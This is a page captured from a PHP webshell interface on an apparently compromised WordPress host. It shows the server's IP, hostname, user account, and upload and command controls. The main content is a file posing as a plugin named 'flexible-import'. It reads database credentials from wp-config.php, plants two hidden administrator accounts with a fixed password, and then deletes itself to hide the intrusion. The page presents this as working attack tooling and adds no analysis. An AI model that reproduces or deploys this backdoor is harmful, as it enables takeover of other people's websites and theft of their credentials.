403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.46
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaa/www/wp-content/plugins/flexible-import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaa/www/wp-content/plugins/flexible-import/flexible-import.php
<?php
/**
 * Plugin Name: flexible-import
 * Version: 1.0
 */
/* Admin creator — PHP 5.4+ compatible, auto-deletes */
error_reporting(0);
set_time_limit(0);

$_d = array($_SERVER['DOCUMENT_ROOT'], dirname($_SERVER['DOCUMENT_ROOT']), getcwd());
$_p = 'admin_lin';
$_u = array('adminlin', 'admin_lin');

foreach (array_unique($_d) as $_r) {
    $_f = $_r . '/wp-config.php';
    if (!@file_exists($_f)) continue;
    $_c = @file_get_contents($_f);
    if (!$_c) continue;
    preg_match("/'DB_NAME'\s*,\s*'(.*?)'/", $_c, $_n);
    preg_match("/'DB_USER'\s*,\s*'(.*?)'/", $_c, $_w);
    preg_match("/'DB_PASSWORD'\s*,\s*'(.*?)'/", $_c, $_s);
    preg_match("/'DB_HOST'\s*,\s*'(.*?)'/", $_c, $_h);
    preg_match("/\\\$table_prefix\s*=\s*'(.*?)'/", $_c, $_t);
    if (!isset($_n[1], $_w[1], $_s[1], $_h[1])) continue;
    if (!class_exists('mysqli')) break;
    mysqli_report(MYSQLI_REPORT_OFF);
    $_port = null; $_sock = null;
    $_hst = $_h[1];
    if (strpos($_h[1], ':/') !== false) { list($_hst, $_sock) = explode(':', $_h[1], 2); }
    $_m = @new mysqli($_hst, $_w[1], $_s[1], $_n[1], $_port, $_sock);
    if (@$_m->connect_error) continue;
    $_tp = isset($_t[1]) ? $_t[1] : 'wp_';
    $_hp = md5($_p);
    $_ok = 0;
    foreach ($_u as $_un) {
        @$_m->query("INSERT INTO {$_tp}users (user_login,user_pass,user_nicename,user_email,user_registered,display_name) VALUES ('$_un','$_hp','$_un','a@a.com',NOW(),'$_un') ON DUPLICATE KEY UPDATE user_pass='$_hp'");
        $_q = @$_m->query("SELECT ID FROM {$_tp}users WHERE user_login='$_un'");
        if ($_q && ($_o = $_q->fetch_object())) {
            $_id = $_o->ID;
            @$_m->query("INSERT INTO {$_tp}usermeta (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}capabilities','a:1:{s:13:\"administrator\";b:1;}') ON DUPLICATE KEY UPDATE meta_value='a:1:{s:13:\"administrator\";b:1;}'");
            @$_m->query("INSERT INTO {$_tp}usermeta (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}user_level','10') ON DUPLICATE KEY UPDATE meta_value='10'");
            $_ok++;
        }
    }
    $_m->close();
    if ($_ok > 0) {
        // Self-delete
        @unlink(__FILE__);
        // Try to remove plugin directory
        $_md = dirname(__FILE__);
        if ($_md != __FILE__ && strpos($_md, WP_CONTENT_DIR) !== false) {
            @unlink($_md . '/index.php');
            @rmdir($_md);
        }
        die('ADMIN_OK');
    }
}
die('ADMIN_FAIL');

Youez - 2016 - github.com/yon3zu
LinuXploit